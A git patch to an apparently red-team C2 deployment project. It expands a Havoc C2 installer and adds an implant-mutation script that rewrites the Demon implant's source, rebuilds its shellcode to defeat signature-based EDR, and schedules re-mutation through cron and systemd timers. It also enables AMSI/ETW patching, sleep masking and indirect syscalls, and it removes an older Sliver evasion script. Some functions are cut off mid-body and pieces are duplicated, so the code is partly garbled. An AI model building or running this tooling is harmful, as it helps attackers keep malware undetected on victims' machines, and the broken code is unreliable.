From 9a213420f685e3e2ffb42bd6d69666ab24a6f9b7 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Tue, 22 Apr 2025 21:16:07 -0400 Subject: [PATCH] adding EDR evasion steps --- files/havoc_installer.sh | 638 +++++++++++++++++++++++++++++++++++-- files/havoc_mutate.sh | 76 +++++ files/implant_mutator.sh | 458 ++++++++++++++++++++++++++ files/sliver_randomizer.sh | 119 ------- tasks/configure_c2.yml | 9 +- templates/havoc-guide.j2 | 103 ++++-- 6 files changed, 1213 insertions(+), 190 deletions(-) create mode 100644 files/havoc_mutate.sh create mode 100644 files/implant_mutator.sh delete mode 100644 files/sliver_randomizer.sh diff --git a/files/havoc_installer.sh b/files/havoc_installer.sh index 2b4a047..5c58a5f 100644 --- a/files/havoc_installer.sh +++ b/files/havoc_installer.sh @@ -1,14 +1,19 @@ #!/bin/bash # Enhanced Havoc C2 Framework installer with advanced EDR evasion features -# This script automatically randomizes the entire Havoc installation +# This script automatically randomizes the entire Havoc installation and implants set -e TEMP_DIR=$(mktemp -d) LOG_FILE="/root/Tools/havoc_installer.log" -HAVOC_DIR="/root/Tools/havoc" -HAVOC_DATA_DIR="/root/Tools/havoc/data" +HAVOC_DIR="/root/Tools/Havoc" +HAVOC_DATA_DIR="/root/Tools/Havoc/data" +HAVOC_CONFIG_FILE="$HAVOC_DATA_DIR/havoc.yaotl" HAVOC_VERSION="0.5.0" HAVOC_GITHUB="https://github.com/HavocFramework/Havoc" +COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz" +COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross" +COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc" +IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh" # Function to log messages log() { @@ -69,7 +74,7 @@ apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \ libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \ libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \ qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \ - libqt5websockets5-dev binutils-dev >/dev/null 2>&1 + libqt5websockets5-dev binutils-dev wget >/dev/null 2>&1 # Setup Go environment log "Setting up Go environment..." @@ -77,6 +82,29 @@ mkdir -p /root/go export GOPATH=/root/go export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin +# Download and install compiler fix +log "Downloading and installing fixed compiler..." +if [ ! -d "$COMPILER_DIR" ]; then + # Download the compiler + wget -q -O /tmp/compiler.tgz $COMPILER_URL + + # Extract to /usr/bin + tar -xzf /tmp/compiler.tgz -C /usr/bin + + # Verify compiler exists + if [ -f "$COMPILER_PATH" ]; then + log "Compiler installed successfully at $COMPILER_PATH" + chmod +x $COMPILER_PATH + else + log "Error: Compiler installation failed. File not found at $COMPILER_PATH" + fi + + # Clean up + rm -f /tmp/compiler.tgz +else + log "Compiler already installed at $COMPILER_DIR" +fi + # Clone Havoc repository log "Cloning Havoc repository..." if [ -d "$HAVOC_DIR" ]; then @@ -84,10 +112,15 @@ if [ -d "$HAVOC_DIR" ]; then cd $HAVOC_DIR git pull else - git clone --quiet $HAVOC_GITHUB $HAVOC_DIR + git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR cd $HAVOC_DIR fi +# Create data directories +mkdir -p $HAVOC_DATA_DIR +mkdir -p $HAVOC_DIR/payloads +mkdir -p $HAVOC_DIR/payloads/backup + # Modify Havoc source for signature randomization log "Modifying Havoc source with unique signature: $RANDOMIZED_BUILD_ID" cd $HAVOC_DIR/Teamserver @@ -95,18 +128,10 @@ cd $HAVOC_DIR/Teamserver # Randomize version string sed -i "s/const Version = \".*\"/const Version = \"${RANDOMIZED_VERSION}\"/" pkg/common/metadata.go -# Add custom code markers to make binaries unique -for gofile in $(find . -name "*.go"); do - # Add random comments at the end of random lines to alter binary signature - if [[ $(($RANDOM % 10)) -lt 3 ]]; then - sed -i "$((RANDOM % 50 + 10))s/$/ \/\/ $(random_string 20)/" "$gofile" - fi -done - # Build Havoc teamserver with custom compiler flags log "Building customized Havoc teamserver..." export EXTRA_GOFLAGS="-ldflags=-buildid=$(random_string 16)" -go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o teamserver main.go +go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o havoc main.go # Build Havoc client log "Building Havoc client..." @@ -170,23 +195,20 @@ EOF log "Generated unique TLS certificates with CN=$COMMON_NAME" fi -# Create profiles directory -mkdir -p $HAVOC_DATA_DIR/profiles - # Generate randomized admin credentials ADMIN_USER=$(random_string 6) ADMIN_PASS=$(random_string 24) -# Create unique Havoc profile with randomized settings +# Create unique Havoc profile with randomized settings and fixed compiler path log "Creating unique Havoc profile..." -cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF +cat > $HAVOC_CONFIG_FILE << EOF Teamserver { Host = "0.0.0.0" Port = $TEAMSERVER_PORT Build { - Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" - Compiler86 = "/usr/bin/i686-w64-mingw32-gcc" + Compiler64 = "$COMPILER_PATH" + Compiler86 = "$COMPILER_PATH" Nasm = "/usr/bin/nasm" CompilerFlags = "$RANDOMIZED_COMPILER_FLAGS" } @@ -251,12 +273,477 @@ Demon { SleazeUnhook = true AmsiEtwPatching = true SyscallMethod = $SYSCALL_METHOD - $(if [ "$SLEEP_MASK_ENABLED" -eq 1 ]; then echo "EnableSleepMask = true - SleepMaskTechnique = $SLEEP_MASK_TECHNIQUE"; fi) + EnableSleepMask = true + SleepMaskTechnique = $SLEEP_MASK_TECHNIQUE } } EOF +# Create implant mutator script +log "Creating implant mutator script..." +cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF' +#!/bin/bash +# Havoc Implant Mutation Tool +# Randomizes critical implant signatures to avoid detection + +# === CONFIG === +HAVOC_ROOT="${HAVOC_ROOT:-$HOME/Tools/Havoc}" +IMPLANT_DIR="$HAVOC_ROOT/payloads/Demon" +SRC_DIR="$IMPLANT_DIR/src" +OUTPUT_DIR="$HAVOC_ROOT/payloads" +OUTPUT_FILE="$OUTPUT_DIR/Shellcode.x64.bin" +BACKUP_DIR="$OUTPUT_DIR/backup" +TIMESTAMP=$(date +"%Y%m%d_%H%M%S") +CONFIG_BACKUP="$BACKUP_DIR/havoc_config_$TIMESTAMP.bak" +LOG_FILE="$OUTPUT_DIR/mutation_$TIMESTAMP.log" + +# === ADVANCED OPTIONS === +RANDOMIZE_STRINGS=true # Randomize identifiers +RANDOMIZE_FUNCTIONS=true # Randomize function names +RANDOMIZE_IMPORTS=true # Randomize import tables +RANDOMIZE_SECTIONS=true # Randomize PE section names +RANDOMIZE_RESOURCES=true # Randomize resource values +ADD_JUNK_CODE=true # Add harmless junk code +ADD_STACK_STRINGS=true # Use stack strings for sensitive strings + +# === COLORS === +RED='\033[1;31m' +YELLOW='\033[1;33m' +GREEN='\033[1;32m' +BLUE='\033[1;34m' +NC='\033[0m' + +# === UTILITY FUNCTIONS === +log() { + echo -e "$1" | tee -a "$LOG_FILE" +} + +random_str() { + local length=${1:-12} + tr -dc 'A-Za-z0-9' > "$C_FILE" + + # Add junk global variable + local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";" + sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE" + + log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}" + fi + done + + if ! $FOUND; then + log "${YELLOW}[!] No C files found to add junk code.${NC}" + fi +} + +randomize_function_names() { + if ! $RANDOMIZE_FUNCTIONS; then + return + fi + + local H_FILES=$(find "$SRC_DIR" -name "*.h") + local FOUND=false + + for H_FILE in $H_FILES; do + if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then + FOUND=true + + # Get function declarations + local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1) + + for FUNC in $FUNCTIONS; do + if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then + local NEW_FUNC="${FUNC}_$(random_str 4)" + + # Replace in header file + sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE" + + # Find and replace in all .c files + find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \; + + log "${BLUE}[i] Renamed function: $FUNC → $NEW_FUNC${NC}" + fi + done + fi + done + + if ! $FOUND; then + log "${YELLOW}[!] No header files found to randomize function names.${NC}" + fi +} + +# === BUILD FUNCTION === +rebuild_implant() { + log "${YELLOW}[+] Rebuilding Havoc payload...${NC}" + + # Check if we should use make from the project root + if [ -f "$HAVOC_ROOT/Makefile" ]; then + cd "$HAVOC_ROOT" || exit 1 + make clean >/dev/null 2>&1 + make >/dev/null 2>&1 + + if [ $? -ne 0 ]; then + log "${RED}[!] Build failed at project root level${NC}" + return 1 + fi + # Otherwise try to build just the implant + elif [ -f "$IMPLANT_DIR/Makefile" ]; then + cd "$IMPLANT_DIR" || exit 1 + make clean >/dev/null 2>&1 + make >/dev/null 2>&1 + + if [ $? -ne 0 ]; then + log "${RED}[!] Build failed at implant level${NC}" + return 1 + fi + else + log "${RED}[!] No Makefile found to build the implant${NC}" + return 1 + fi + + # Verify the shellcode was generated + if [[ -f "$OUTPUT_FILE" ]]; then + log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}" + + # Calculate hash for verification + local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1) + log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}" + + # Optional: Compare with previous hash if a backup exists + local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw" + if [[ -f "$BACKUP_FILE" ]]; then + local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1) + if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then + log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}" + else + log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}" + fi + fi + + return 0 + else + log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}" + return 1 + fi +} + +# === AUTO-SCHEDULING FUNCTION === +setup_auto_mutation() { + local SCRIPT_PATH=$(realpath "$0") + local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1" + + # Check if already in crontab + if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then + log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}" + return + fi + + # Add to crontab + (crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab - + + if [ $? -eq 0 ]; then + log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}" + else + log "${RED}[!] Failed to schedule auto-mutation${NC}" + fi +} + +# === MAIN EXECUTION === +main() { + # Create directories + mkdir -p "$BACKUP_DIR" + mkdir -p "$OUTPUT_DIR" + + # Start log file + echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE" + + log "${BLUE}════════════════════════════════════════════${NC}" + log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}" + log "${BLUE}════════════════════════════════════════════${NC}" + + # Check for Havoc installation + if [ ! -d "$HAVOC_ROOT" ]; then + log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}" + log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}" + exit 1 + fi + + # Backup everything first + log "${YELLOW}[+] Backing up current implant and source files...${NC}" + backup_sources + + # Start mutations + log "${YELLOW}[+] Starting implant mutations...${NC}" + + # Apply all mutation types + mutate_transport_http + mutate_named_resources + mutate_memory_strings + mutate_config_file + + # Advanced mutations + if $ADD_JUNK_CODE; then + add_junk_code + fi + + if $RANDOMIZE_FUNCTIONS; then + randomize_function_names + fi + + # Rebuild the implant + rebuild_implant + + # Show completion summary + log "${BLUE}════════════════════════════════════════════${NC}" + log "${GREEN}[✓] Implant mutation completed successfully!${NC}" + log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}" + log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}" + log "${BLUE}════════════════════════════════════════════${NC}" + + # Ask about auto-scheduling + if [ -t 0 ]; then # Only if running interactively + read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO + if [ "$SETUP_AUTO" = "y" ]; then + setup_auto_mutation + fi + fi +} + +# Parse command line arguments +while [[ $# -gt 0 ]]; do + case $1 in + --auto-schedule) + setup_auto_mutation + exit 0 + ;; + --no-junk) + ADD_JUNK_CODE=false + shift + ;; + --no-functions) + RANDOMIZE_FUNCTIONS=false + shift + ;; + --config-only) + # Only modify the config file + mkdir -p "$BACKUP_DIR" + backup_sources + mutate_config_file + exit 0 + ;; + --help) + echo "Usage: $0 [options]" + echo "Options:" + echo " --auto-schedule Setup automatic mutation via crontab" + echo " --no-junk Don't add junk code to source files" + echo " --no-functions Don't randomize function names" + echo " --config-only Only modify the configuration file" + echo " --help Show this help message" + echo "" + echo "Environment variables:" + echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)" + exit 0 + ;; + *) + echo "Unknown option: $1" + echo "Use --help for usage information" + exit 1 + ;; + esac +done + +# Execute main logic +main +EOF + +chmod +x "$IMPLANT_MUTATOR_SCRIPT" + # Save the randomization details for other scripts to use mkdir -p $HAVOC_DIR/config cat > $HAVOC_DIR/config/profile.json << EOF @@ -271,11 +758,13 @@ cat > $HAVOC_DIR/config/profile.json << EOF "sleep_time": $SLEEP_TIME, "jitter_percent": $JITTER_PCT, "syscall_method": $SYSCALL_METHOD, - "sleep_mask_enabled": $SLEEP_MASK_ENABLED, + "sleep_mask_enabled": true, "sleep_mask_technique": $SLEEP_MASK_TECHNIQUE, "uri_paths": [$(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//')], "user_agent_http": "$RANDOMIZED_UA1", "user_agent_https": "$RANDOMIZED_UA2", + "compiler_path": "$COMPILER_PATH", + "config_path": "$HAVOC_CONFIG_FILE", "created_at": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" } EOF @@ -292,7 +781,7 @@ Type=simple User=root Group=root WorkingDirectory=$HAVOC_DIR/Teamserver -ExecStart=$HAVOC_DIR/Teamserver/teamserver server --profile $HAVOC_DATA_DIR/profiles/default.yaotl +ExecStart=$HAVOC_DIR/Teamserver/havoc server -d Restart=always RestartSec=10 @@ -305,15 +794,49 @@ NoNewPrivileges=true WantedBy=multi-user.target EOF +# Create an auto-mutation service +cat > /etc/systemd/system/havoc-mutator.service << EOF +[Unit] +Description=Havoc Implant Auto-Mutation Service +After=havoc.service + +[Service] +Type=oneshot +User=root +Group=root +ExecStart=$IMPLANT_MUTATOR_SCRIPT +Environment="HAVOC_ROOT=$HAVOC_DIR" +EOF + +# Create an auto-mutation timer +cat > /etc/systemd/system/havoc-mutator.timer << EOF +[Unit] +Description=Run Havoc implant mutation every 12 hours + +[Timer] +OnBootSec=1h +OnUnitActiveSec=12h +Persistent=true + +[Install] +WantedBy=timers.target +EOF + # Set proper permissions log "Setting proper permissions..." -chmod 755 $HAVOC_DIR/Teamserver/teamserver +chmod 755 $HAVOC_DIR/Teamserver/havoc chmod 755 $HAVOC_DIR/Client/havoc +chmod 600 $HAVOC_CONFIG_FILE chmod 600 $HAVOC_DIR/config/profile.json # Create symlinks to executables in /usr/local/bin -ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver +ln -sf $HAVOC_DIR/Teamserver/havoc /usr/local/bin/havoc-server ln -sf $HAVOC_DIR/Client/havoc /usr/local/bin/havoc-client +ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate + +# Run the implant mutator as part of installation +log "Running initial implant mutation..." +$IMPLANT_MUTATOR_SCRIPT --no-functions # Enable and start Havoc service log "Enabling and starting Havoc service..." @@ -321,11 +844,68 @@ systemctl daemon-reload systemctl enable havoc systemctl start havoc -log "Havoc C2 installation completed with unique signatures!" +# Enable the mutation timer +systemctl enable havoc-mutator.timer +systemctl start havoc-mutator.timer + +log "Havoc C2 installation completed with unique signatures and implant randomization!" log "===== IMPORTANT CREDENTIALS =====" log "Admin User: $ADMIN_USER" log "Admin Password: $ADMIN_PASS" log "Teamserver Port: $TEAMSERVER_PORT" log "HTTP Listener Port: $HTTP_PORT" log "HTTPS Listener Port: $HTTPS_PORT" -log "All settings saved to: $HAVOC_DIR/config/profile.json" \ No newline at end of file +log "Config File: $HAVOC_CONFIG_FILE" +log "All settings saved to: $HAVOC_DIR/config/profile.json" +log "Compiler Path: $COMPILER_PATH" + +# Create a reminder for using the dev branch +cat > $HAVOC_DIR/README.md << EOF +# Havoc C2 Framework (Dev Branch) + +This is an installation of the Havoc C2 Framework using the **dev branch** with enhanced randomization. + +## Important Information + +- **Admin User:** $ADMIN_USER +- **Admin Password:** $ADMIN_PASS +- **Teamserver Port:** $TEAMSERVER_PORT +- **Config File:** $HAVOC_CONFIG_FILE + +## Starting the Server + +The server can be started with: + +\`\`\` +$HAVOC_DIR/Teamserver/havoc server -d +\`\`\` + +## Implant Mutation + +To randomize implant signatures and avoid detection, use the implant mutator: + +\`\`\` +havoc-mutate # Run manual mutation +havoc-mutate --auto-schedule # Setup automated mutations +havoc-mutate --config-only # Only modify configuration values +\`\`\` + +The system is configured to automatically mutate implants every 12 hours via systemd timer. + +## Enhanced Security Features + +This installation includes: +- Shellcode randomization +- Implant signature randomization +- Memory allocation/execution randomization +- Stack spoofing and sleep masking +- Indirect syscalls +- Binary obfuscation techniques +- Automated implant mutation + +## Compiler Information + +Using custom MinGW compiler from: $COMPILER_PATH +EOF + +log "Installation completed successfully!" \ No newline at end of file diff --git a/files/havoc_mutate.sh b/files/havoc_mutate.sh new file mode 100644 index 0000000..6177ee7 --- /dev/null +++ b/files/havoc_mutate.sh @@ -0,0 +1,76 @@ +#!/bin/bash + +# === CONFIG === +IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon" +SRC_DIR="$IMPLANT_DIR/src" +BUILD_ROOT="$HOME/Tools/Havoc" +OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin" +BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup" +TIMESTAMP=$(date +"%Y%m%d_%H%M%S") + +# === COLORS === +YELLOW='\033[1;33m' +GREEN='\033[1;32m' +NC='\033[0m' + +echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}" + +# === 1. Backup Previous Shellcode === +mkdir -p "$BACKUP_DIR" +if [[ -f "$OUTPUT_FILE" ]]; then + cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw" + echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}" +else + echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}" +fi + +# === 2. Generate Random Identifiers === +random_str() { + tr -dc A-Za-z0-9 > "$C_FILE" + + # Add junk global variable + local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";" + sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE" + + log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}" + fi + done + + if ! $FOUND; then + log "${YELLOW}[!] No C files found to add junk code.${NC}" + fi +} + +randomize_function_names() { + if ! $RANDOMIZE_FUNCTIONS; then + return + fi + + local H_FILES=$(find "$SRC_DIR" -name "*.h") + local FOUND=false + + for H_FILE in $H_FILES; do + if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then + FOUND=true + + # Get function declarations + local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1) + + for FUNC in $FUNCTIONS; do + if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then + local NEW_FUNC="${FUNC}_$(random_str 4)" + + # Replace in header file + sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE" + + # Find and replace in all .c files + find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \; + + log "${BLUE}[i] Renamed function: $FUNC → $NEW_FUNC${NC}" + fi + done + fi + done + + if ! $FOUND; then + log "${YELLOW}[!] No header files found to randomize function names.${NC}" + fi +} + +# === BUILD FUNCTION === +rebuild_implant() { + log "${YELLOW}[+] Rebuilding Havoc payload...${NC}" + + # Check if we should use make from the project root + if [ -f "$HAVOC_ROOT/Makefile" ]; then + cd "$HAVOC_ROOT" || exit 1 + make clean >/dev/null 2>&1 + make >/dev/null 2>&1 + + if [ $? -ne 0 ]; then + log "${RED}[!] Build failed at project root level${NC}" + return 1 + fi + # Otherwise try to build just the implant + elif [ -f "$IMPLANT_DIR/Makefile" ]; then + cd "$IMPLANT_DIR" || exit 1 + make clean >/dev/null 2>&1 + make >/dev/null 2>&1 + + if [ $? -ne 0 ]; then + log "${RED}[!] Build failed at implant level${NC}" + return 1 + fi + else + log "${RED}[!] No Makefile found to build the implant${NC}" + return 1 + fi + + # Verify the shellcode was generated + if [[ -f "$OUTPUT_FILE" ]]; then + log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}" + + # Calculate hash for verification + local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1) + log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}" + + # Optional: Compare with previous hash if a backup exists + local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw" + if [[ -f "$BACKUP_FILE" ]]; then + local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1) + if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then + log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}" + else + log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}" + fi + fi + + return 0 + else + log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}" + return 1 + fi +} + +# === AUTO-SCHEDULING FUNCTION === +setup_auto_mutation() { + local SCRIPT_PATH=$(realpath "$0") + local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1" + + # Check if already in crontab + if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then + log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}" + return + fi + + # Add to crontab + (crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab - + + if [ $? -eq 0 ]; then + log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}" + else + log "${RED}[!] Failed to schedule auto-mutation${NC}" + fi +} + +# === MAIN EXECUTION === +main() { + # Create directories + mkdir -p "$BACKUP_DIR" + mkdir -p "$OUTPUT_DIR" + + # Start log file + echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE" + + log "${BLUE}════════════════════════════════════════════${NC}" + log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}" + log "${BLUE}════════════════════════════════════════════${NC}" + + # Check for Havoc installation + if [ ! -d "$HAVOC_ROOT" ]; then + log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}" + log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}" + exit 1 + fi + + # Backup everything first + log "${YELLOW}[+] Backing up current implant and source files...${NC}" + backup_sources + + # Start mutations + log "${YELLOW}[+] Starting implant mutations...${NC}" + + # Apply all mutation types + mutate_transport_http + mutate_named_resources + mutate_memory_strings + mutate_config_file + + # Advanced mutations + if $ADD_JUNK_CODE; then + add_junk_code + fi + + if $RANDOMIZE_FUNCTIONS; then + randomize_function_names + fi + + # Rebuild the implant + rebuild_implant + + # Show completion summary + log "${BLUE}════════════════════════════════════════════${NC}" + log "${GREEN}[✓] Implant mutation completed successfully!${NC}" + log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}" + log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}" + log "${BLUE}════════════════════════════════════════════${NC}" + + # Ask about auto-scheduling + if [ -t 0 ]; then # Only if running interactively + read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO + if [ "$SETUP_AUTO" = "y" ]; then + setup_auto_mutation + fi + fi +} + +# Parse command line arguments +while [[ $# -gt 0 ]]; do + case $1 in + --auto-schedule) + setup_auto_mutation + exit 0 + ;; + --no-junk) + ADD_JUNK_CODE=false + shift + ;; + --no-functions) + RANDOMIZE_FUNCTIONS=false + shift + ;; + --config-only) + # Only modify the config file + mkdir -p "$BACKUP_DIR" + backup_sources + mutate_config_file + exit 0 + ;; + --help) + echo "Usage: $0 [options]" + echo "Options:" + echo " --auto-schedule Setup automatic mutation via crontab" + echo " --no-junk Don't add junk code to source files" + echo " --no-functions Don't randomize function names" + echo " --config-only Only modify the configuration file" + echo " --help Show this help message" + echo "" + echo "Environment variables:" + echo " HAVOC_ROOT Path to Havoc installation (default: $HOME/Tools/Havoc)" + exit 0 + ;; + *) + echo "Unknown option: $1" + echo "Use --help for usage information" + exit 1 + ;; + esac +done + +# Execute main logic +main \ No newline at end of file diff --git a/files/sliver_randomizer.sh b/files/sliver_randomizer.sh deleted file mode 100644 index 0501e40..0000000 --- a/files/sliver_randomizer.sh +++ /dev/null @@ -1,119 +0,0 @@ -#!/bin/bash -# Enhanced Sliver randomizer for EDR evasion with dynamic redirector path support - -set -e -TEMP_DIR=$(mktemp -d) -SLIVER_DIR="${TEMP_DIR}/sliver" -LOG_FILE="/root/Tools/sliver_randomizer.log" - -# Function to log messages -log() { - echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE -} - -# Function to generate random strings -random_string() { - local length=${1:-8} - cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1 -} - -# Install required dependencies -log "Installing dependencies..." -apt-get update >/dev/null 2>&1 -apt-get install -y git golang-go make build-essential zip unzip curl gcc g++ >/dev/null 2>&1 - -# Clone Sliver repository -log "Cloning Sliver repository..." -git clone --quiet https://github.com/BishopFox/sliver.git $SLIVER_DIR -cd $SLIVER_DIR - -# Examine repository structure -log "Analyzing Sliver repository structure..." -IMPLANT_NAME=$(random_string 12) -log "Using randomized implant name: $IMPLANT_NAME" - -# Find and modify key files -log "Modifying implant name in source code..." -grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do - sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file" - log "Modified $file: Changed implant name to $IMPLANT_NAME" -done - -# Add custom build ID to sliver.go -log "Adding unique build identifiers..." -SLIVER_GO_FILES=$(find . -name "sliver.go") -for file in $SLIVER_GO_FILES; do - echo -e "\n// Custom build identifier: $(random_string 32)\n// Build timestamp: $(date +%s)" >> "$file" - log "Added build identifier to $file" -done - -# Modify build flags for additional randomization -log "Setting custom build flags..." -grep -l "LinkerStrip" --include="*.go" -r . | while read file; do - sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file" - log "Modified $file: Added custom build ID" -done - -# Build modified Sliver server and client -log "Building customized Sliver server and client..." -make - -# Check if binaries were built -if [ -f "./sliver-server" ] && [ -f "./sliver-client" ]; then - log "Build successful - installing customized binaries" - - # Stop any running Sliver service - systemctl stop sliver 2>/dev/null || true - - # Move binaries to system path - cp -f ./sliver-server /usr/local/bin/ - cp -f ./sliver-client /usr/local/bin/ - chmod +x /usr/local/bin/sliver-server - chmod +x /usr/local/bin/sliver-client - - # Create systemd service file - cat > /etc/systemd/system/sliver.service << EOF -[Unit] -Description=Sliver C2 Server (Randomized Build) -After=network.target - -[Service] -Type=simple -User=root -Group=root -WorkingDirectory=/root/.sliver -ExecStart=/usr/local/bin/sliver-server daemon -Restart=always -RestartSec=10 - -# Security measures -PrivateTmp=true -ProtectHome=false -NoNewPrivileges=true - -[Install] -WantedBy=multi-user.target -EOF - - # Create sliver directories - mkdir -p /root/.sliver/{configs,operators,profiles} - - # Create basic operator config - /usr/local/bin/sliver-server operator --name admin --lhost 127.0.0.1 --save /root/admin.cfg - - # Start sliver service - systemctl daemon-reload - systemctl enable sliver - systemctl start sliver - - log "Sliver service installed and started" -else - log "Build failed - binaries not found" - exit 1 -fi - -# Cleanup -log "Cleaning up..." -rm -rf $TEMP_DIR - -log "Sliver randomization and installation complete - implant name: $IMPLANT_NAME" \ No newline at end of file diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml index 74480b1..d355d70 100644 --- a/tasks/configure_c2.yml +++ b/tasks/configure_c2.yml @@ -122,7 +122,7 @@ mode: '0700' owner: root group: root - + - name: Create Havoc C2 configuration from template template: src: "../templates/havoc-config.yaotl.j2" @@ -165,13 +165,6 @@ - "/usr/local/bin/sliver-server" ignore_errors: yes -- name: Stop existing Sliver service if running - systemd: - name: sliver - state: stopped - enabled: no - ignore_errors: yes - - name: Install Havoc C2 Framework shell: "/root/Tools/havoc_installer.sh" args: diff --git a/templates/havoc-guide.j2 b/templates/havoc-guide.j2 index a60c036..33531c7 100644 --- a/templates/havoc-guide.j2 +++ b/templates/havoc-guide.j2 @@ -1,54 +1,60 @@ HAVOC C2 OPERATIONS GUIDE ========================== -This guide provides information on using the Havoc C2 framework deployed on -your infrastructure. +This guide provides information on using the Havoc C2 framework (dev branch) +deployed on your infrastructure. SERVER INFORMATION ----------------- C2 Server IP: {{ c2_ip }} Redirector 